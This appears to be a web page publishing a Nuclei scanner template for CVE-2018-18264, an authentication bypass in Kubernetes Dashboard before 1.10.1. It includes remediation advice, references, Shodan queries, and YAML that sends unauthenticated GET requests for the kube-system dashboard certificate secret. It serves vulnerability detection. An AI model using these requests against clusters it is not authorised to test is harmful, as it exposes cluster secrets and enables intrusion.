Kubernetes Dashboard <1.10.1 - Authentication Bypass

ID: CVE-2018-18264

Severity: high

Author: edoardottt

Tags: cve,cve2018,kubernetes,k8s,auth-bypass

Description

Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard’s Service Account for reading secrets within the cluster.

YAML Source

id: CVE-2018-18264

info:
  name: Kubernetes Dashboard <1.10.1 - Authentication Bypass
  author: edoardottt
  severity: high
  description: |
    Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster.
  remediation: |
    Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability.
  reference:
    - https://github.com/kubernetes/dashboard/pull/3289
    - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/
    - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18264
    - https://github.com/kubernetes/dashboard/pull/3400
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18264
    cwe-id: CWE-306
    epss-score: 0.95251
    epss-percentile: 0.9934
    cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kubernetes
    product: dashboard
    shodan-query:
      - product:"Kubernetes"
      - product:"kubernetes"
  tags: cve,cve2018,kubernetes,k8s,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
      - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "apiVersion") && contains(body, "objectRef")'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008420b7f46a9c180737a58dc27d2fe419cd68a20cfd78d316ef98b4e7d4012a0d022100cd1de9e5f99a089924dc012d4709d3ab3a36955e69be96d4c81588776fce6cbe:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18264.yaml"

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